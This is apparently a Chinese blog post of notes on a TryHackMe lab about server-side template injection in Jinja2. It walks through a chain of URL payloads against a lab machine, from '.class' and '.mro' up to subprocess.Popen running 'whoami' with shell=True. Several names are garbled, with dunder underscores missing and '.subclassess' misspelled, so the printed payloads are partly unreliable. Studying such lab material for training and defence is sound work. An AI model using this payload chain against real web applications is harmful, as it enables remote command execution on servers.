TryHackMe-SSTI基础

Server Side Template Injaction

SSTI-Payloads:

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection

Jinja2、3

https://jinja.palletsprojects.com/en/3.0.x/templates/

attr(obj, name):
Get an attribute of an object. foo|attr("bar") works like foo.bar just that always an attribute is returned and items are not looked up.

制作概念验证 (Jinja2)

Python 允许我们使用 .class 调用当前类实例,我们可以在空字符串上调用它:

有效载荷:。http://MACHINE_IP:5000/profile/{{ ‘’.class }}

Python 中的类有一个名为 .mro 的属性,它允许我们爬上继承的对象树:

有效载荷:。http://MACHINE_IP:5000/profile/{{ ‘’.class.mro }}

由于我们想要根对象,我们可以访问第二个属性(第一个索引):

有效载荷:。http://MACHINE_IP:5000/profile/{{ ‘’.class.mro[1] }}

Python 中的对象有一个名为 .subclassess 的方法,它允许我们向下爬取对象树:

有效载荷:。http://MACHINE_IP:5000/profile/{{ ‘’.class.mro[1].subclasses() }}

有效载荷:。http://MACHINE_IP:5000/profile/{{ ‘’.class.mro[1].subclasses()[401] }}

上面的有效负载实质上调用子进程。Popen 方法,现在我们所要做的就是调用它(使用上面的代码进行语法)

有效载荷:。http://MACHINE_IP:5000/profile/{{ ‘’.class.mro[1].subclasses()[401](“whoami”, shell=True, stdout=-1).communicate() }}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Sugobet

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值